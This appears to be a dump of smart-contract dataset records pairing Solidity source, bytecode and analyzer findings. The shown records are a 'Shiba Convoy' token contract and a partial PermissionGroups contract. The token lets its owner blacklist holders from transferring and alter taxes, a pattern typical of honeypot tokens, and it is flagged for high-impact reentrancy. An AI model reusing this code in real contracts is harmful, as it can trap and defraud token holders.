ffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220e9cabe2632cfa0f1a7bd209a5e5036a6626df111e53945b36a932e3d79620cd764736f6c634300060c0033
{"success": true, "error": null, "results": {}}
10,477
0xaa19c2aef38051a8c2a6e208ac91d9f25bebb39a
/* ░██████╗██╗░░██╗██╗██████╗░░█████╗░██╗░░░██╗ ██╔════╝██║░░██║██║██╔══██╗██╔══██╗╚██╗░██╔╝ ╚█████╗░███████║██║██████╦╝██║░░██║░╚████╔╝░ ░╚═══██╗██╔══██║██║██╔══██╗██║░░██║░░╚██╔╝░░ ██████╔╝██║░░██║██║██████╦╝╚█████╔╝░░░██║░░░ ╚═════╝░╚═╝░░╚═╝╚═╝╚═════╝░░╚════╝░░░░╚═╝░░░ Telegram: https://t.me/shibaconvoy Twitter: https://twitter.com/shiboyofficial 100% Fair & STEALTH LAUNCH Initial LP: 2 ETH Initial Max Buy: 5% or 50,000,000 Total Supply : 1,000,000,000 Tax : 12% 2% Reflections 6% Buyback/ Buy Competitions 2% Liquidity 4% Promotions/Growth */ // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract shiboytoken is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1_000_000_000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; uint256 private _sellTax; uint256 private _buyTax; address payable private _feeAddress; string private constant _name = "Shiba Convoy"; string private constant _symbol = "SHIBOY"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private removeMaxTx = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddress = payable(0x7078Ca7a18aC89Ba0f6B9342F3E3A9885581f9c8); _buyTax = 12; _sellTax = 12; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setremoveMaxTx(bool onoff) external onlyOwner() { removeMaxTx = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from]); if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to] ) { _feeAddr1 = 0; _feeAddr2 = _buyTax; if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) { require(amount <= _maxTxAmount); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = _sellTax; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddress.transfer(amount); } function createPair() external onlyOwner(){ require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); } function openTrading() external onlyOwner() { _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; removeMaxTx = true; _maxTxAmount = 50_000_000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() public onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() public onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { if (maxTxAmount > 50_000_000 * 10**9) { _maxTxAmount = maxTxAmount; } } function _setSellTax(uint256 sellTax) external onlyOwner() { if (sellTax < 15) { _sellTax = sellTax; } } function setBuyTax(uint256 buyTax) external onlyOwner() { if (buyTax < 15) { _buyTax = buyTax; } } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a1461034a578063c3c8cd801461036a578063c9567bf91461037f578063dbe8272c14610394578063dc1052e2146103b4578063dd62ed3e146103d457600080fd5b8063715018a6146102a95780638da5cb5b146102be57806395d89b41146102e65780639e78fb4f14610315578063a9059cbb1461032a57600080fd5b806323b872dd116100f257806323b872dd14610218578063273123b714610238578063313ce567146102585780636fc3eaec1461027457806370a082311461028957600080fd5b8063013206211461013a57806306fdde031461015c578063095ea7b3146101a357806318160ddd146101d35780631bbae6e0146101f857600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061015a610155366004611877565b61041a565b005b34801561016857600080fd5b5060408051808201909152600c81526b536869626120436f6e766f7960a01b60208201525b60405161019a91906118f4565b60405180910390f35b3480156101af57600080fd5b506101c36101be366004611785565b61046b565b604051901515815260200161019a565b3480156101df57600080fd5b50670de0b6b3a76400005b60405190815260200161019a565b34801561020457600080fd5b5061015a6102133660046118af565b610482565b34801561022457600080fd5b506101c3610233366004611745565b6104c4565b34801561024457600080fd5b5061015a6102533660046116d5565b61052d565b34801561026457600080fd5b506040516009815260200161019a565b34801561028057600080fd5b5061015a610578565b34801561029557600080fd5b506101ea6102a43660046116d5565b6105ac565b3480156102b557600080fd5b5061015a6105ce565b3480156102ca57600080fd5b506000546040516001600160a01b03909116815260200161019a565b3480156102f257600080fd5b50604080518082019091526006815265534849424f5960d01b602082015261018d565b34801561032157600080fd5b5061015a610642565b34801561033657600080fd5b506101c3610345366004611785565b610881565b34801561035657600080fd5b5061015a6103653660046117b0565b61088e565b34801561037657600080fd5b5061015a610932565b34801561038b57600080fd5b5061015a610972565b3480156103a057600080fd5b5061015a6103af3660046118af565b610b38565b3480156103c057600080fd5b5061015a6103cf3660046118af565b610b70565b3480156103e057600080fd5b506101ea6103ef36600461170d565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b0316331461044d5760405162461bcd60e51b815260040161044490611947565b60405180910390fd5b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000610478338484610ba8565b5060015b92915050565b6000546001600160a01b031633146104ac5760405162461bcd60e51b815260040161044490611947565b66b1a2bc2ec500008111156104c15760108190555b50565b60006104d1848484610ccc565b610523843361051e85604051806060016040528060288152602001611ac5602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610fc3565b610ba8565b5060019392505050565b6000546001600160a01b031633146105575760405162461bcd60e51b815260040161044490611947565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105a25760405162461bcd60e51b815260040161044490611947565b476104c181610ffd565b6001600160a01b03811660009081526002602052604081205461047c90611037565b6000546001600160a01b031633146105f85760405162461bcd60e51b815260040161044490611947565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461066c5760405162461bcd60e51b815260040161044490611947565b600f54600160a01b900460ff16156106c65760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610444565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b15801561072657600080fd5b505afa15801561073a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061075e91906116f1565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107a657600080fd5b505afa1580156107ba573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107de91906116f1565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561082657600080fd5b505af115801561083a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061085e91906116f1565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b6000610478338484610ccc565b6000546001600160a01b031633146108b85760405162461bcd60e51b815260040161044490611947565b60005b815181101561092e576001600660008484815181106108ea57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061092681611a5a565b9150506108bb565b5050565b6000546001600160a01b0316331461095c5760405162461bcd60e51b815260040161044490611947565b6000610967306105ac565b90506104c1816110bb565b6000546001600160a01b0316331461099c5760405162461bcd60e51b815260040161044490611947565b600e546109bc9030906001600160a01b0316670de0b6b3a7640000610ba8565b600e546001600160a01b031663f305d71947306109d8816105ac565b6000806109ed6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a5057600080fd5b505af1158015610a64573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a8991906118c7565b5050600f805466b1a2bc2ec5000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610b0057600080fd5b505af1158015610b14573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104c19190611893565b6000546001600160a01b03163314610b625760405162461bcd60e51b815260040161044490611947565b600f8110156104c157600b55565b6000546001600160a01b03163314610b9a5760405162461bcd60e51b815260040161044490611947565b600f8110156104c157600c55565b6001600160a01b038316610c0a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610444565b6001600160a01b038216610c6b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610444565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d305760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610444565b6001600160a01b038216610d925760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610444565b60008111610df45760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610444565b6001600160a01b03831660009081526006602052604090205460ff1615610e1a57600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610e5c57506001600160a01b03821660009081526005602052604090205460ff16155b15610fb3576000600955600c54600a55600f546001600160a01b038481169116148015610e975750600e546001600160a01b03838116911614155b8015610ebc57506001600160a01b03821660009081526005602052604090205460ff16155b8015610ed15750600f54600160b81b900460ff165b15610ee557601054811115610ee557600080fd5b600f546001600160a01b038381169116148015610f105750600e546001600160a01b03848116911614155b8015610f3557506001600160a01b03831660009081526005602052604090205460ff16155b15610f46576000600955600b54600a555b6000610f51306105ac565b600f54909150600160a81b900460ff16158015610f7c5750600f546001600160a01b03858116911614155b8015610f915750600f54600160b01b900460ff165b15610fb157610f9f816110bb565b478015610faf57610faf47610ffd565b505b505b610fbe838383611260565b505050565b60008184841115610fe75760405162461bcd60e51b815260040161044491906118f4565b506000610ff48486611a43565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561092e573d6000803e3d6000fd5b600060075482111561109e5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610444565b60006110a861126b565b90506110b4838261128e565b9392505050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061111157634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561116557600080fd5b505afa158015611179573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061119d91906116f1565b816001815181106111be57634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546111e49130911684610ba8565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061121d90859060009086903090429060040161197c565b600060405180830381600087803b15801561123757600080fd5b505af115801561124b573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610fbe8383836112d0565b60008060006112786113c7565b9092509050611287828261128e565b9250505090565b60006110b483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611407565b6000806000806000806112e287611435565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506113149087611492565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461134390866114d4565b6001600160a01b03891660009081526002602052604090205561136581611533565b61136f848361157d565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516113b491815260200190565b60405180910390a3505050505050505050565b6007546000908190670de0b6b3a76400006113e2828261128e565b8210156113fe57505060075492670de0b6b3a764000092509050565b90939092509050565b600081836114285760405162461bcd60e51b815260040161044491906118f4565b506000610ff48486611a04565b60008060008060008060008060006114528a600954600a546115a1565b925092509250600061146261126b565b905060008060006114758e8787876115f6565b919e509c509a509598509396509194505050505091939550919395565b60006110b483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fc3565b6000806114e183856119ec565b9050838110156110b45760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610444565b600061153d61126b565b9050600061154b8383611646565b3060009081526002602052604090205490915061156890826114d4565b30600090815260026020526040902055505050565b60075461158a9083611492565b60075560085461159a90826114d4565b6008555050565b60008080806115bb60646115b58989611646565b9061128e565b905060006115ce60646115b58a89611646565b905060006115e6826115e08b86611492565b90611492565b9992985090965090945050505050565b60008080806116058886611646565b905060006116138887611646565b905060006116218888611646565b90506000611633826115e08686611492565b939b939a50919850919650505050505050565b6000826116555750600061047c565b60006116618385611a24565b90508261166e8583611a04565b146110b45760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610444565b80356116d081611aa1565b919050565b6000602082840312156116e6578081fd5b81356110b481611aa1565b600060208284031215611702578081fd5b81516110b481611aa1565b6000806040838503121561171f578081fd5b823561172a81611aa1565b9150602083013561173a81611aa1565b809150509250929050565b600080600060608486031215611759578081fd5b833561176481611aa1565b9250602084013561177481611aa1565b929592945050506040919091013590565b60008060408385031215611797578182fd5b82356117a281611aa1565b946020939093013593505050565b600060208083850312156117c2578182fd5b823567ffffffffffffffff808211156117d9578384fd5b818501915085601f8301126117ec578384fd5b8135818111156117fe576117fe611a8b565b8060051b604051601f19603f8301168101818110858211171561182357611823611a8b565b604052828152858101935084860182860187018a1015611841578788fd5b8795505b8386101561186a57611856816116c5565b855260019590950194938601938601611845565b5098975050505050505050565b600060208284031215611888578081fd5b81356110b481611ab6565b6000602082840312156118a4578081fd5b81516110b481611ab6565b6000602082840312156118c0578081fd5b5035919050565b6000806000606084860312156118db578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b8181101561192057858101830151858201604001528201611904565b818111156119315783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156119cb5784516001600160a01b0316835293830193918301916001016119a6565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156119ff576119ff611a75565b500190565b600082611a1f57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611a3e57611a3e611a75565b500290565b600082821015611a5557611a55611a75565b500390565b6000600019821415611a6e57611a6e611a75565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104c157600080fd5b80151581146104c157600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220cf4699941b574923876ff01caefad2e47df8d4297d64e114eed6ba50d327f2a564736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
10,478
0xe7d2c6c4e9a423412225e50464dcde99c803e42b
pragma solidity 0.4.18; // File: contracts/PermissionGroups.sol contract PermissionGroups { address public admin; address public pendingAdmin; mapping(address=>bool) internal operators; mapping(address=>bool) internal alerters; address[] internal operatorsGroup; address[] internal alertersGroup; uint constant internal MAX_GROUP_SIZE = 50; function PermissionGroups() public { admin = msg.sender; } modifier onlyAdmin() { require(msg.sender == admin); _; } modifier onlyOperator() { require(operators[msg.sender]); _; } modifier onlyAlerter() { require(alerters[msg.sender]); _; } function getOperators () external view returns(address[]) { return operatorsGroup; } function getAlerters () external view returns(address[]) { return alertersGroup; } event TransferAdminPending(address pendingAdmin); /** * @dev Allows the current admin to set the pendingAdmin address. * @param newAdmin The address to transfer ownership to. */ function transferAdmin(address newAdmin) public onlyAdmin { require(newAdmin != address(0)); TransferAdminPending(pendingAdmin); pendingAdmin = newAdmin; } /** * @dev Allows the current admin to set the admin in one tx. Useful initial deployment. * @param newAdmin The address to transfer ownership to. */ function transferAdminQuickly(address newAdmin) public onlyAdmin { require(newAdmin != address(0)); TransferAdminPending(newAdmin); AdminClaimed(newAdmin, admin); admin = newAdmin; } event AdminClaimed( address newAdmin, address previousAdmin); /** * @dev Allows the pendingAdmin address to finalize the change admin process. */ function claimAdmin() public { require(pendingAdmin == msg.sender); AdminClaimed(pendingAdmin, admin); admin = pendingAdmin; pendingAdmin = address(0); } event AlerterAdded (address newAlerter, bool isAdd); function addAlerter(address newAlerter) public onlyAdmin { require(!alerters[newAlerter]); // prevent duplicates. require(alertersGroup.length < MAX_GROUP_SIZE); AlerterAdded(newAlerter, true); alerters[newAlerter] = true; alertersGroup.push(newAlerter); } function removeAlerter (address alerter) public onlyAdmin { require(alerters[alerter]); alerters[alerter] = false; for (uint i = 0; i < alertersGroup.length; ++i) { if (alertersGroup[i] == alerter) { alertersGroup[i] = alertersGroup[alertersGroup.length - 1]; alertersGroup.length--; AlerterAdded(alerter, false); break; } } } event OperatorAdded(address newOperator, bool isAdd); function addOperator(address newOperator) public onlyAdmin { require(!operators[newOperator]); // prevent duplicates. require(operatorsGroup.length < MAX_GROUP_SIZE); OperatorAdded(newOperator, true); operators[newOperator] = true; operatorsGroup.push(newOperator); } function removeOperator (address operator) public onlyAdmin { require(operators[operator]); operators[operator] = false; for (uint i = 0; i < operatorsGroup.length; ++i) { if (operatorsGroup[i] == operator) { operatorsGroup[i] = operatorsGroup[operatorsGroup.length - 1]; operatorsGroup.length -= 1; OperatorAdded(operator, false); break; } } } } // File: contracts/permissionless/OrderListInterface.sol interface OrderListInterface { function getOrderDetails(uint32 orderId) public view returns (address, uint128, uint128, uint32, uint32); function add(address maker, uint32 orderId, uint128 srcAmount, uint128 dstAmount) public returns (bool); function remove(uint32 orderId) public returns (bool); function update(uint32 orderId, uint128 srcAmount, uint128 dstAmount) public returns (bool); function getFirstOrder() public view returns(uint32 orderId, bool isEmpty); function allocateIds(uint32 howMany) public returns(uint32); function findPrevOrderId(uint128 srcAmount, uint128 dstAmount) public view returns(uint32); function addAfterId(address 